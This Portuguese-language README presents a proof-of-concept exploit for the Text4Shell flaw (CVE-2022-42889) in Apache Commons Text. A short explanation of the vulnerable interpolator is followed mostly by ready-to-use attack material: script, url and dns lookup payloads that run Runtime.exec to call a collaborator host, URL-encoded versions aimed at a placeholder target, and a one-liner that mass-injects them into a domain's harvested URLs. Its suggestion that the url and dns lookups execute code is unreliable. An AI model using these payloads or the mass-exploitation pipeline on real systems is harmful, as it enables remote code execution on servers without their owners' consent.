
Exploit de prova de conceito para CVE-2022-42889 (Text4Shell) no Apache Commons Text, com scripts de exploração manual e em massa usando lookups de script, URL e DNS.
Apache commons text - CVE-2022-42889 Text4Shell prova de conceito de exploit.
CVE-2022-42889 afeta as versões 1.5 a 1.9 do Apache Commons Text. Foi corrigido a partir da versão 1.10 do Commons Text.
A vulnerabilidade foi comparada ao Log4Shell por ser uma vulnerabilidade em nível de biblioteca de código aberto que provavelmente impactará uma ampla variedade de aplicações de software que utilizam o objeto relevante. No entanto, a análise inicial indica que essa é uma comparação ruim. A natureza da vulnerabilidade significa que, ao contrário do Log4Shell, será raro que uma aplicação use o componente vulnerável do Commons Text para processar entradas não confiáveis e potencialmente maliciosas.
A vulnerabilidade existe no objeto interpolador StringSubstitutor. Um interpolador é criado pelo método StringSubstitutor.createInterpolator() e permite pesquisas de strings conforme definido em StringLookupFactory. Isso pode ser usado passando uma string no formato ${prefixo:nome}, onde prefixo é a pesquisa mencionada. Usar as pesquisas "script", "dns" ou "url" permitiria que uma string manipulada executasse scripts arbitrários quando passada para o objeto interpolador.
Embora esse fragmento de código específico seja improvável de existir em aplicações de produção, a preocupação é que, em algumas aplicações, a variável pocstring possa ser controlada por um atacante. Nesse sentido, a vulnerabilidade ecoa o Log4Shell. No entanto, o interpolador StringSubstitutor é consideravelmente menos utilizado do que a substituição de strings vulnerável no Log4j, e a natureza de tal interpolador significa que obter entrada manipulada para o objeto vulnerável é menos provável do que meramente interagir com uma string manipulada como no Log4Shell.
script:javascript
Substitua o valor do parâmetro pelo payload:
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://seu-alvo.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
url
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://seu-alvo.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
dns
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://seu-alvo.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ
qsreplace Obrigado @tomnomnom